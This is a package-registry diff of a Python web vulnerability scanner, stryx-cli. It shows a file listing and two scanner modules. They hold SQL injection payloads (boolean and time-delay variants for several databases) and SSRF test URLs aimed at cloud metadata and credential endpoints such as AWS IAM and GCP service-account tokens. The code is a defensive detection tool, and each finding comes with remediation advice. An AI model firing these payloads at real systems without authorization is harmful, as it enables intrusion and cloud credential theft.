stryx-cli 0.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- stryx/__init__.py +35 -0
- stryx/ai/__init__.py +5 -0
- stryx/ai/attack_planner.py +199 -0
- stryx/ai/payload_generator.py +212 -0
- stryx/ai/prompts.py +85 -0
- stryx/ai/providers.py +249 -0
- stryx/attacks/__init__.py +6 -0
- stryx/attacks/attack_chain.py +111 -0
- stryx/attacks/replay.py +186 -0
- stryx/auth/__init__.py +1 -0
- stryx/auth/session_manager.py +335 -0
- stryx/cli.py +675 -0
- stryx/comparison/__init__.py +1 -0
- stryx/comparison/differ.py +255 -0
- stryx/config/__init__.py +6 -0
- stryx/config/default_config.yaml +12 -0
- stryx/config/loader.py +111 -0
- stryx/config/schema.py +80 -0
- stryx/crawler/__init__.py +5 -0
- stryx/crawler/discovery.py +178 -0
- stryx/crawler/graphql_discovery.py +86 -0
- stryx/crawler/html_crawler.py +294 -0
- stryx/crawler/js_endpoints.py +165 -0
- stryx/crawler/openapi.py +76 -0
- stryx/crawler/sitemap.py +94 -0
- stryx/orchestrator.py +347 -0
- stryx/payloads/cmdi.txt +31 -0
- stryx/payloads/header_injection.txt +15 -0
- stryx/payloads/ldap.txt +19 -0
- stryx/payloads/nosqli.txt +21 -0
- stryx/payloads/open_redirect.txt +23 -0
- stryx/payloads/path_traversal.txt +26 -0
- stryx/payloads/sqli.txt +31 -0
- stryx/payloads/ssrf.txt +30 -0
- stryx/payloads/ssti.txt +21 -0
- stryx/payloads/xss.txt +48 -0
- stryx/payloads/xxe.txt +35 -0
- stryx/plugins/__init__.py +5 -0
- stryx/plugins/base.py +85 -0
- stryx/policy/__init__.py +1 -0
- stryx/policy/engine.py +201 -0
- stryx/py.typed +0 -0
- stryx/reports/__init__.py +5 -0
- stryx/reports/generator.py +122 -0
- stryx/reports/json_report.py +72 -0
- stryx/reports/markdown_report.py +101 -0
- stryx/reports/sarif_report.py +200 -0
- stryx/reports/templates/report.html.j2 +163 -0
- stryx/reports/terminal_report.py +138 -0
- stryx/scanners/__init__.py +17 -0
- stryx/scanners/auth.py +444 -0
- stryx/scanners/authorization.py +220 -0
- stryx/scanners/blind.py +328 -0
- stryx/scanners/cloud_ssrf.py +208 -0
- stryx/scanners/cors.py +158 -0
- stryx/scanners/dependencies.py +296 -0
- stryx/scanners/disclosure.py +339 -0
- stryx/scanners/fuzz.py +391 -0
- stryx/scanners/graphql.py +309 -0
- stryx/scanners/injection.py +511 -0
- stryx/scanners/race.py +257 -0
- stryx/signatures/framework_fingerprints.yaml +122 -0
- stryx/signatures/known_vulns.yaml +210 -0
- stryx/utils/__init__.py +7 -0
- stryx/utils/evidence.py +109 -0
- stryx/utils/http_client.py +159 -0
- stryx/utils/logging.py +51 -0
- stryx/utils/rate_limiter.py +37 -0
- stryx_cli-0.1.0.dist-info/METADATA +236 -0
- stryx_cli-0.1.0.dist-info/RECORD +74 -0
- stryx_cli-0.1.0.dist-info/WHEEL +5 -0
- stryx_cli-0.1.0.dist-info/entry_points.txt +2 -0
- stryx_cli-0.1.0.dist-info/licenses/LICENSE +190 -0
- stryx_cli-0.1.0.dist-info/top_level.txt +1 -0
stryx/scanners/blind.py
ADDED
|
@@ -0,0 +1,328 @@
|
|
|
1
|
+
"""Timing-based blind injection scanner.
|
|
2
|
+
|
|
3
|
+
Detects blind SQL injection, boolean-based blind injection,
|
|
4
|
+
and blind SSRF through response timing analysis and content comparison.
|
|
5
|
+
"""
|
|
6
|
+
|
|
7
|
+
from __future__ import annotations
|
|
8
|
+
|
|
9
|
+
import asyncio
|
|
10
|
+
import time
|
|
11
|
+
from dataclasses import dataclass
|
|
12
|
+
from urllib.parse import parse_qs, urlencode, urlparse, urlunparse
|
|
13
|
+
|
|
14
|
+
from stryx.utils.evidence import Evidence, Finding, Severity
|
|
15
|
+
from stryx.utils.http_client import HttpClient
|
|
16
|
+
from stryx.utils.logging import get_logger
|
|
17
|
+
|
|
18
|
+
logger = get_logger("scanner.blind")
|
|
19
|
+
|
|
20
|
+
# Timing thresholds (seconds)
|
|
21
|
+
TIME_DELAY_THRESHOLD = 2.0 # Minimum delay to consider as blind injection
|
|
22
|
+
TIME_TOLERANCE = 0.5 # Tolerance for timing comparison
|
|
23
|
+
|
|
24
|
+
# Boolean blind test pairs: (true_condition, false_condition)
|
|
25
|
+
BOOLEAN_TESTS = [
|
|
26
|
+
(" AND 1=1--", " AND 1=2--"),
|
|
27
|
+
(" OR 1=1--", " OR 1=2--"),
|
|
28
|
+
("' AND '1'='1'--", "' AND '1'='2'--"),
|
|
29
|
+
("' OR '1'='1'--", "' OR '1'='2'--"),
|
|
30
|
+
(" AND 1=1", " AND 1=2"),
|
|
31
|
+
(" AND 'a'='a'", " AND 'a'='b'"),
|
|
32
|
+
]
|
|
33
|
+
|
|
34
|
+
# Time-based blind tests: payloads that cause measurable delays
|
|
35
|
+
TIME_TESTS = [
|
|
36
|
+
# MySQL
|
|
37
|
+
(" AND SLEEP(3)--", "MySQL SLEEP"),
|
|
38
|
+
(" AND BENCHMARK(10000000,SHA1('test'))--", "MySQL BENCHMARK"),
|
|
39
|
+
# PostgreSQL
|
|
40
|
+
("; SELECT pg_sleep(3)--", "PostgreSQL pg_sleep"),
|
|
41
|
+
# MSSQL
|
|
42
|
+
("; WAITFOR DELAY '0:0:3'--", "MSSQL WAITFOR DELAY"),
|
|
43
|
+
# Oracle
|
|
44
|
+
(" AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',3)--", "Oracle DBMS_PIPE"),
|
|
45
|
+
# SQLite (no sleep, but we can use a busy loop)
|
|
46
|
+
(" AND (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x WHERE RANDOMBLOB(500000000))>0--", "SQLite busy"),
|
|
47
|
+
]
|
|
48
|
+
|
|
49
|
+
# Blind SSRF test URLs (internal services that may respond differently)
|
|
50
|
+
BLIND_SSRF_TESTS = [
|
|
51
|
+
("http://127.0.0.1:80/", "Localhost HTTP"),
|
|
52
|
+
("http://169.254.169.254/latest/meta-data/", "AWS Metadata"),
|
|
53
|
+
("http://metadata.google.internal/", "GCP Metadata"),
|
|
54
|
+
]
|
|
55
|
+
|
|
56
|
+
|
|
57
|
+
@dataclass
|
|
58
|
+
class BlindTestResult:
|
|
59
|
+
"""Result of a blind injection test."""
|
|
60
|
+
|
|
61
|
+
vulnerable: bool
|
|
62
|
+
test_type: str
|
|
63
|
+
payload: str
|
|
64
|
+
description: str
|
|
65
|
+
confidence: float
|
|
66
|
+
baseline_time: float = 0.0
|
|
67
|
+
test_time: float = 0.0
|
|
68
|
+
response_diff: str = ""
|
|
69
|
+
|
|
70
|
+
|
|
71
|
+
class BlindScanner:
|
|
72
|
+
"""Scanner for timing-based and boolean-based blind injection."""
|
|
73
|
+
|
|
74
|
+
def __init__(self, client: HttpClient):
|
|
75
|
+
self.client = client
|
|
76
|
+
|
|
77
|
+
async def scan(
|
|
78
|
+
self,
|
|
79
|
+
endpoints: list[str],
|
|
80
|
+
base_url: str,
|
|
81
|
+
max_tests_per_endpoint: int = 20,
|
|
82
|
+
) -> list[Finding]:
|
|
83
|
+
"""Run blind injection tests against all endpoints."""
|
|
84
|
+
findings: list[Finding] = []
|
|
85
|
+
logger.info("Running blind injection scanner")
|
|
86
|
+
|
|
87
|
+
for endpoint in endpoints[:10]: # Limit to 10 endpoints
|
|
88
|
+
try:
|
|
89
|
+
# Boolean-based blind tests
|
|
90
|
+
bool_findings = await self._test_boolean_blind(endpoint)
|
|
91
|
+
findings.extend(bool_findings)
|
|
92
|
+
|
|
93
|
+
# Time-based blind tests
|
|
94
|
+
time_findings = await self._test_time_blind(endpoint)
|
|
95
|
+
findings.extend(time_findings)
|
|
96
|
+
|
|
97
|
+
# Blind SSRF tests
|
|
98
|
+
ssrf_findings = await self._test_blind_ssrf(endpoint)
|
|
99
|
+
findings.extend(ssrf_findings)
|
|
100
|
+
|
|
101
|
+
except Exception as e:
|
|
102
|
+
logger.debug(f"Blind test error on {endpoint}: {e}")
|
|
103
|
+
|
|
104
|
+
logger.info(f"Blind scanner found {len(findings)} findings")
|
|
105
|
+
return findings
|
|
106
|
+
|
|
107
|
+
async def _test_boolean_blind(self, endpoint: str) -> list[Finding]:
|
|
108
|
+
"""Test for boolean-based blind injection."""
|
|
109
|
+
findings: list[Finding] = []
|
|
110
|
+
|
|
111
|
+
# Get baseline response
|
|
112
|
+
try:
|
|
113
|
+
baseline_response, _ = await self.client.get(endpoint)
|
|
114
|
+
baseline_status = baseline_response.status_code
|
|
115
|
+
baseline_length = len(baseline_response.text)
|
|
116
|
+
baseline_body = baseline_response.text
|
|
117
|
+
except Exception:
|
|
118
|
+
return findings
|
|
119
|
+
|
|
120
|
+
# Parse URL to find injectable parameters
|
|
121
|
+
params = self._get_injectable_params(endpoint)
|
|
122
|
+
if not params:
|
|
123
|
+
return findings
|
|
124
|
+
|
|
125
|
+
for param_name, param_value in params:
|
|
126
|
+
for true_payload, false_payload in BOOLEAN_TESTS[:3]: # Limit tests
|
|
127
|
+
try:
|
|
128
|
+
# Send true condition
|
|
129
|
+
true_url = self._modify_param(endpoint, param_name, param_value + true_payload)
|
|
130
|
+
true_response, _ = await self.client.get(true_url)
|
|
131
|
+
|
|
132
|
+
# Send false condition
|
|
133
|
+
false_url = self._modify_param(endpoint, param_name, param_value + false_payload)
|
|
134
|
+
false_response, _ = await self.client.get(false_url)
|
|
135
|
+
|
|
136
|
+
# Compare responses
|
|
137
|
+
true_len = len(true_response.text)
|
|
138
|
+
false_len = len(false_response.text)
|
|
139
|
+
|
|
140
|
+
# Significant difference between true and false responses
|
|
141
|
+
if (true_response.status_code == baseline_status and
|
|
142
|
+
true_len != false_len and
|
|
143
|
+
abs(true_len - false_len) > 10 and
|
|
144
|
+
abs(true_len - baseline_length) < abs(false_len - baseline_length)):
|
|
145
|
+
|
|
146
|
+
confidence = min(0.9, 0.5 + abs(true_len - false_len) / 1000)
|
|
147
|
+
findings.append(Finding(
|
|
148
|
+
title=f"Boolean-based blind injection in parameter '{param_name}'",
|
|
149
|
+
severity=Severity.HIGH,
|
|
150
|
+
evidence=Evidence(
|
|
151
|
+
request_method="GET",
|
|
152
|
+
request_url=true_url,
|
|
153
|
+
response_status=true_response.status_code,
|
|
154
|
+
response_body=true_response.text[:500],
|
|
155
|
+
response_snippet=f"True: {true_len} chars, False: {false_len} chars",
|
|
156
|
+
payload=true_payload.strip(),
|
|
157
|
+
confidence=confidence,
|
|
158
|
+
),
|
|
159
|
+
description=(
|
|
160
|
+
f"Boolean-based blind injection detected in parameter '{param_name}'. "
|
|
161
|
+
f"True condition returned {true_len} chars, false returned {false_len} chars."
|
|
162
|
+
),
|
|
163
|
+
remediation="Use parameterized queries and input validation.",
|
|
164
|
+
cwe="CWE-89",
|
|
165
|
+
owasp="A03:2021 - Injection",
|
|
166
|
+
endpoint=endpoint,
|
|
167
|
+
scanner="blind",
|
|
168
|
+
))
|
|
169
|
+
break # One finding per parameter
|
|
170
|
+
|
|
171
|
+
except Exception:
|
|
172
|
+
continue
|
|
173
|
+
|
|
174
|
+
return findings
|
|
175
|
+
|
|
176
|
+
async def _test_time_blind(self, endpoint: str) -> list[Finding]:
|
|
177
|
+
"""Test for time-based blind injection."""
|
|
178
|
+
findings: list[Finding] = []
|
|
179
|
+
|
|
180
|
+
# Get baseline timing
|
|
181
|
+
try:
|
|
182
|
+
start = time.time()
|
|
183
|
+
baseline_response, _ = await self.client.get(endpoint)
|
|
184
|
+
baseline_time = time.time() - start
|
|
185
|
+
except Exception:
|
|
186
|
+
return findings
|
|
187
|
+
|
|
188
|
+
params = self._get_injectable_params(endpoint)
|
|
189
|
+
if not params:
|
|
190
|
+
return findings
|
|
191
|
+
|
|
192
|
+
for param_name, param_value in params[:3]: # Limit params
|
|
193
|
+
for payload, db_name in TIME_TESTS[:4]: # Limit tests
|
|
194
|
+
try:
|
|
195
|
+
test_url = self._modify_param(endpoint, param_name, param_value + payload)
|
|
196
|
+
|
|
197
|
+
start = time.time()
|
|
198
|
+
test_response, _ = await self.client.get(test_url)
|
|
199
|
+
test_time = time.time() - start
|
|
200
|
+
|
|
201
|
+
# Check if response time is significantly longer
|
|
202
|
+
delay = test_time - baseline_time
|
|
203
|
+
if delay >= TIME_DELAY_THRESHOLD:
|
|
204
|
+
confidence = min(0.95, 0.6 + (delay / 10))
|
|
205
|
+
findings.append(Finding(
|
|
206
|
+
title=f"Time-based blind injection ({db_name}) in parameter '{param_name}'",
|
|
207
|
+
severity=Severity.HIGH,
|
|
208
|
+
evidence=Evidence(
|
|
209
|
+
request_method="GET",
|
|
210
|
+
request_url=test_url,
|
|
211
|
+
response_status=test_response.status_code,
|
|
212
|
+
response_body=test_response.text[:500],
|
|
213
|
+
response_snippet=f"Baseline: {baseline_time:.2f}s, Test: {test_time:.2f}s, Delay: {delay:.2f}s",
|
|
214
|
+
payload=payload.strip(),
|
|
215
|
+
confidence=confidence,
|
|
216
|
+
),
|
|
217
|
+
description=(
|
|
218
|
+
f"Time-based blind injection detected in parameter '{param_name}' "
|
|
219
|
+
f"using {db_name}. Response delay: {delay:.2f}s (baseline: {baseline_time:.2f}s)."
|
|
220
|
+
),
|
|
221
|
+
remediation="Use parameterized queries and input validation.",
|
|
222
|
+
cwe="CWE-89",
|
|
223
|
+
owasp="A03:2021 - Injection",
|
|
224
|
+
endpoint=endpoint,
|
|
225
|
+
scanner="blind",
|
|
226
|
+
))
|
|
227
|
+
break # One finding per parameter
|
|
228
|
+
|
|
229
|
+
except asyncio.TimeoutError:
|
|
230
|
+
# Timeout itself may indicate successful blind injection
|
|
231
|
+
findings.append(Finding(
|
|
232
|
+
title=f"Possible time-based blind injection in parameter '{param_name}'",
|
|
233
|
+
severity=Severity.MEDIUM,
|
|
234
|
+
evidence=Evidence(
|
|
235
|
+
request_method="GET",
|
|
236
|
+
request_url=test_url if 'test_url' in dir() else endpoint,
|
|
237
|
+
response_status=0,
|
|
238
|
+
response_body="Request timed out",
|
|
239
|
+
payload=payload.strip(),
|
|
240
|
+
confidence=0.5,
|
|
241
|
+
),
|
|
242
|
+
description=(
|
|
243
|
+
f"Request timed out after injection payload in parameter '{param_name}'. "
|
|
244
|
+
f"This may indicate time-based blind injection causing server hang."
|
|
245
|
+
),
|
|
246
|
+
remediation="Use parameterized queries and input validation.",
|
|
247
|
+
cwe="CWE-89",
|
|
248
|
+
owasp="A03:2021 - Injection",
|
|
249
|
+
endpoint=endpoint,
|
|
250
|
+
scanner="blind",
|
|
251
|
+
))
|
|
252
|
+
break
|
|
253
|
+
except Exception:
|
|
254
|
+
continue
|
|
255
|
+
|
|
256
|
+
return findings
|
|
257
|
+
|
|
258
|
+
async def _test_blind_ssrf(self, endpoint: str) -> list[Finding]:
|
|
259
|
+
"""Test for blind SSRF via timing differences."""
|
|
260
|
+
findings: list[Finding] = []
|
|
261
|
+
|
|
262
|
+
# Get baseline timing
|
|
263
|
+
try:
|
|
264
|
+
start = time.time()
|
|
265
|
+
baseline_response, _ = await self.client.get(endpoint)
|
|
266
|
+
baseline_time = time.time() - start
|
|
267
|
+
except Exception:
|
|
268
|
+
return findings
|
|
269
|
+
|
|
270
|
+
params = self._get_injectable_params(endpoint)
|
|
271
|
+
if not params:
|
|
272
|
+
return findings
|
|
273
|
+
|
|
274
|
+
for param_name, param_value in params[:2]:
|
|
275
|
+
for internal_url, service_name in BLIND_SSRF_TESTS:
|
|
276
|
+
try:
|
|
277
|
+
test_url = self._modify_param(endpoint, param_name, internal_url)
|
|
278
|
+
|
|
279
|
+
start = time.time()
|
|
280
|
+
test_response, _ = await self.client.get(test_url)
|
|
281
|
+
test_time = time.time() - start
|
|
282
|
+
|
|
283
|
+
# Check for timing difference (internal service may respond faster or slower)
|
|
284
|
+
delay = abs(test_time - baseline_time)
|
|
285
|
+
if delay > TIME_DELAY_THRESHOLD:
|
|
286
|
+
confidence = min(0.8, 0.4 + (delay / 10))
|
|
287
|
+
findings.append(Finding(
|
|
288
|
+
title=f"Possible blind SSRF to {service_name} via parameter '{param_name}'",
|
|
289
|
+
severity=Severity.HIGH,
|
|
290
|
+
evidence=Evidence(
|
|
291
|
+
request_method="GET",
|
|
292
|
+
request_url=test_url,
|
|
293
|
+
response_status=test_response.status_code,
|
|
294
|
+
response_body=test_response.text[:500],
|
|
295
|
+
response_snippet=f"Baseline: {baseline_time:.2f}s, Test: {test_time:.2f}s",
|
|
296
|
+
payload=internal_url,
|
|
297
|
+
confidence=confidence,
|
|
298
|
+
),
|
|
299
|
+
description=(
|
|
300
|
+
f"Possible blind SSRF detected. Request to {service_name} via "
|
|
301
|
+
f"parameter '{param_name}' caused a {delay:.2f}s timing difference."
|
|
302
|
+
),
|
|
303
|
+
remediation="Validate and sanitize URLs. Block internal IP ranges.",
|
|
304
|
+
cwe="CWE-918",
|
|
305
|
+
owasp="A10:2021 - Server-Side Request Forgery",
|
|
306
|
+
endpoint=endpoint,
|
|
307
|
+
scanner="blind",
|
|
308
|
+
))
|
|
309
|
+
break # One finding per parameter
|
|
310
|
+
|
|
311
|
+
except Exception:
|
|
312
|
+
continue
|
|
313
|
+
|
|
314
|
+
return findings
|
|
315
|
+
|
|
316
|
+
def _get_injectable_params(self, url: str) -> list[tuple[str, str]]:
|
|
317
|
+
"""Extract injectable parameters from a URL."""
|
|
318
|
+
parsed = urlparse(url)
|
|
319
|
+
params = parse_qs(parsed.query)
|
|
320
|
+
return [(k, v[0] if v else "") for k, v in params.items()]
|
|
321
|
+
|
|
322
|
+
def _modify_param(self, url: str, param_name: str, new_value: str) -> str:
|
|
323
|
+
"""Modify a URL parameter value."""
|
|
324
|
+
parsed = urlparse(url)
|
|
325
|
+
params = parse_qs(parsed.query)
|
|
326
|
+
params[param_name] = [new_value]
|
|
327
|
+
new_query = urlencode(params, doseq=True)
|
|
328
|
+
return urlunparse(parsed._replace(query=new_query))
|
|
@@ -0,0 +1,208 @@
|
|
|
1
|
+
"""Cloud metadata SSRF scanner.
|
|
2
|
+
|
|
3
|
+
Tests for Server-Side Request Forgery targeting cloud provider
|
|
4
|
+
metadata endpoints (AWS, GCP, Azure, DigitalOcean, Kubernetes).
|
|
5
|
+
"""
|
|
6
|
+
|
|
7
|
+
from __future__ import annotations
|
|
8
|
+
|
|
9
|
+
from urllib.parse import parse_qs, urlencode, urlparse, urlunparse
|
|
10
|
+
|
|
11
|
+
from stryx.utils.evidence import Evidence, Finding, Severity
|
|
12
|
+
from stryx.utils.http_client import HttpClient
|
|
13
|
+
from stryx.utils.logging import get_logger
|
|
14
|
+
|
|
15
|
+
logger = get_logger("scanner.cloud_ssrf")
|
|
16
|
+
|
|
17
|
+
# Cloud metadata endpoints with detection patterns
|
|
18
|
+
CLOUD_METADATA_ENDPOINTS = [
|
|
19
|
+
# AWS
|
|
20
|
+
{
|
|
21
|
+
"provider": "AWS",
|
|
22
|
+
"urls": [
|
|
23
|
+
"http://169.254.169.254/latest/meta-data/",
|
|
24
|
+
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
|
|
25
|
+
"http://169.254.169.254/latest/user-data/",
|
|
26
|
+
],
|
|
27
|
+
"patterns": ["ami-id", "instance-id", "iam", "security-credentials", "local-hostname"],
|
|
28
|
+
"severity": Severity.CRITICAL,
|
|
29
|
+
},
|
|
30
|
+
# GCP
|
|
31
|
+
{
|
|
32
|
+
"provider": "GCP",
|
|
33
|
+
"urls": [
|
|
34
|
+
"http://metadata.google.internal/computeMetadata/v1/",
|
|
35
|
+
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
|
|
36
|
+
"http://metadata.google.internal/computeMetadata/v1/project/project-id",
|
|
37
|
+
],
|
|
38
|
+
"patterns": ["computeMetadata", "instance", "service-accounts", "project-id"],
|
|
39
|
+
"headers": {"Metadata-Flavor": "Google"},
|
|
40
|
+
"severity": Severity.CRITICAL,
|
|
41
|
+
},
|
|
42
|
+
# Azure
|
|
43
|
+
{
|
|
44
|
+
"provider": "Azure",
|
|
45
|
+
"urls": [
|
|
46
|
+
"http://169.254.169.254/metadata/instance?api-version=2021-02-01",
|
|
47
|
+
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/",
|
|
48
|
+
],
|
|
49
|
+
"patterns": ["compute", "network", "subscriptionId", "vmId", "access_token"],
|
|
50
|
+
"headers": {"Metadata": "true"},
|
|
51
|
+
"severity": Severity.CRITICAL,
|
|
52
|
+
},
|
|
53
|
+
# DigitalOcean
|
|
54
|
+
{
|
|
55
|
+
"provider": "DigitalOcean",
|
|
56
|
+
"urls": [
|
|
57
|
+
"http://169.254.169.254/metadata/v1/",
|
|
58
|
+
"http://169.254.169.254/metadata/v1/hostname",
|
|
59
|
+
"http://169.254.169.254/metadata/v1/user-data",
|
|
60
|
+
],
|
|
61
|
+
"patterns": ["hostname", "region", "user-data", "droplet_id"],
|
|
62
|
+
"severity": Severity.CRITICAL,
|
|
63
|
+
},
|
|
64
|
+
# Kubernetes
|
|
65
|
+
{
|
|
66
|
+
"provider": "Kubernetes",
|
|
67
|
+
"urls": [
|
|
68
|
+
"https://kubernetes.default.svc/",
|
|
69
|
+
"https://kubernetes.default.svc/api/v1/namespaces",
|
|
70
|
+
"http://10.0.0.1:10255/pods",
|
|
71
|
+
],
|
|
72
|
+
"patterns": ["apiVersion", "kind", "metadata", "items"],
|
|
73
|
+
"severity": Severity.CRITICAL,
|
|
74
|
+
},
|
|
75
|
+
# Alibaba Cloud
|
|
76
|
+
{
|
|
77
|
+
"provider": "Alibaba Cloud",
|
|
78
|
+
"urls": [
|
|
79
|
+
"http://100.100.100.200/latest/meta-data/",
|
|
80
|
+
"http://100.100.100.200/latest/meta-data/ram/security-credentials/",
|
|
81
|
+
],
|
|
82
|
+
"patterns": ["instance-id", "ram", "security-credentials"],
|
|
83
|
+
"severity": Severity.CRITICAL,
|
|
84
|
+
},
|
|
85
|
+
]
|
|
86
|
+
|
|
87
|
+
|
|
88
|
+
class CloudSSRFScanner:
|
|
89
|
+
"""Scanner for cloud metadata SSRF vulnerabilities."""
|
|
90
|
+
|
|
91
|
+
def __init__(self, client: HttpClient):
|
|
92
|
+
self.client = client
|
|
93
|
+
|
|
94
|
+
async def scan(
|
|
95
|
+
self,
|
|
96
|
+
endpoints: list[str],
|
|
97
|
+
base_url: str,
|
|
98
|
+
) -> list[Finding]:
|
|
99
|
+
"""Run cloud metadata SSRF tests."""
|
|
100
|
+
findings: list[Finding] = []
|
|
101
|
+
logger.info("Running cloud metadata SSRF scanner")
|
|
102
|
+
|
|
103
|
+
# Find injectable parameters in endpoints
|
|
104
|
+
injectable = self._find_injectable_endpoints(endpoints)
|
|
105
|
+
|
|
106
|
+
for endpoint_config in CLOUD_METADATA_ENDPOINTS:
|
|
107
|
+
for metadata_url in endpoint_config["urls"]:
|
|
108
|
+
for endpoint, param_name, param_value in injectable:
|
|
109
|
+
finding = await self._test_ssrf(
|
|
110
|
+
endpoint, param_name, metadata_url, endpoint_config
|
|
111
|
+
)
|
|
112
|
+
if finding:
|
|
113
|
+
findings.append(finding)
|
|
114
|
+
break # One finding per provider
|
|
115
|
+
if findings and any(f.scanner == "cloud-ssrf" and
|
|
116
|
+
f.evidence.payload == metadata_url
|
|
117
|
+
for f in findings[-1:]):
|
|
118
|
+
break
|
|
119
|
+
|
|
120
|
+
logger.info(f"Cloud SSRF scanner found {len(findings)} findings")
|
|
121
|
+
return findings
|
|
122
|
+
|
|
123
|
+
def _find_injectable_endpoints(
|
|
124
|
+
self, endpoints: list[str]
|
|
125
|
+
) -> list[tuple[str, str, str]]:
|
|
126
|
+
"""Find endpoints with URL-like parameters."""
|
|
127
|
+
injectable = []
|
|
128
|
+
|
|
129
|
+
for endpoint in endpoints:
|
|
130
|
+
parsed = urlparse(endpoint)
|
|
131
|
+
params = parse_qs(parsed.query)
|
|
132
|
+
|
|
133
|
+
for param_name, values in params.items():
|
|
134
|
+
value = values[0] if values else ""
|
|
135
|
+
# Check if parameter looks like a URL
|
|
136
|
+
if (value.startswith("http") or
|
|
137
|
+
param_name.lower() in ("url", "href", "link", "src", "redirect",
|
|
138
|
+
"next", "return", "callback", "webhook",
|
|
139
|
+
"fetch", "load", "proxy", "target")):
|
|
140
|
+
injectable.append((endpoint, param_name, value))
|
|
141
|
+
|
|
142
|
+
return injectable
|
|
143
|
+
|
|
144
|
+
async def _test_ssrf(
|
|
145
|
+
self,
|
|
146
|
+
endpoint: str,
|
|
147
|
+
param_name: str,
|
|
148
|
+
metadata_url: str,
|
|
149
|
+
provider_config: dict,
|
|
150
|
+
) -> Finding | None:
|
|
151
|
+
"""Test a specific SSRF vector against a cloud metadata endpoint."""
|
|
152
|
+
try:
|
|
153
|
+
# Build test URL with metadata URL as parameter
|
|
154
|
+
parsed = urlparse(endpoint)
|
|
155
|
+
params = parse_qs(parsed.query)
|
|
156
|
+
params[param_name] = [metadata_url]
|
|
157
|
+
test_url = urlunparse(parsed._replace(query=urlencode(params, doseq=True)))
|
|
158
|
+
|
|
159
|
+
# Send request
|
|
160
|
+
extra_headers = provider_config.get("headers", {})
|
|
161
|
+
response, evidence = await self.client.get(test_url, headers=extra_headers)
|
|
162
|
+
|
|
163
|
+
# Check if response contains cloud metadata patterns
|
|
164
|
+
body = response.text.lower()
|
|
165
|
+
patterns = provider_config["patterns"]
|
|
166
|
+
|
|
167
|
+
matched_patterns = [p for p in patterns if p.lower() in body]
|
|
168
|
+
|
|
169
|
+
if matched_patterns and response.status_code == 200:
|
|
170
|
+
provider = provider_config["provider"]
|
|
171
|
+
severity = provider_config["severity"]
|
|
172
|
+
|
|
173
|
+
evidence.confidence = min(0.95, 0.6 + len(matched_patterns) * 0.1)
|
|
174
|
+
evidence.payload = metadata_url
|
|
175
|
+
evidence.response_snippet = (
|
|
176
|
+
f"Cloud provider: {provider}\n"
|
|
177
|
+
f"Matched patterns: {', '.join(matched_patterns)}\n"
|
|
178
|
+
f"Response preview: {response.text[:300]}"
|
|
179
|
+
)
|
|
180
|
+
|
|
181
|
+
return Finding(
|
|
182
|
+
title=f"Cloud metadata SSRF to {provider} endpoint",
|
|
183
|
+
severity=severity,
|
|
184
|
+
evidence=evidence,
|
|
185
|
+
description=(
|
|
186
|
+
f"Server-Side Request Forgery to {provider} metadata endpoint detected. "
|
|
187
|
+
f"The application fetches {metadata_url} via parameter '{param_name}', "
|
|
188
|
+
f"exposing cloud credentials and instance metadata. "
|
|
189
|
+
f"Matched patterns: {', '.join(matched_patterns)}."
|
|
190
|
+
),
|
|
191
|
+
remediation=(
|
|
192
|
+
"1. Block requests to internal/private IP ranges (169.254.0.0/16, 10.0.0.0/8, "
|
|
193
|
+
"172.16.0.0/12, 192.168.0.0/16)\n"
|
|
194
|
+
"2. Validate and whitelist allowed URL schemes (only https)\n"
|
|
195
|
+
"3. Use IMDSv2 on AWS (requires session token)\n"
|
|
196
|
+
"4. Implement network-level controls to block metadata access"
|
|
197
|
+
),
|
|
198
|
+
cwe="CWE-918",
|
|
199
|
+
owasp="A10:2021 - Server-Side Request Forgery",
|
|
200
|
+
endpoint=endpoint,
|
|
201
|
+
scanner="cloud-ssrf",
|
|
202
|
+
tags=["ssrf", "cloud", provider.lower(), "critical"],
|
|
203
|
+
)
|
|
204
|
+
|
|
205
|
+
except Exception as e:
|
|
206
|
+
logger.debug(f"Cloud SSRF test error: {e}")
|
|
207
|
+
|
|
208
|
+
return None
|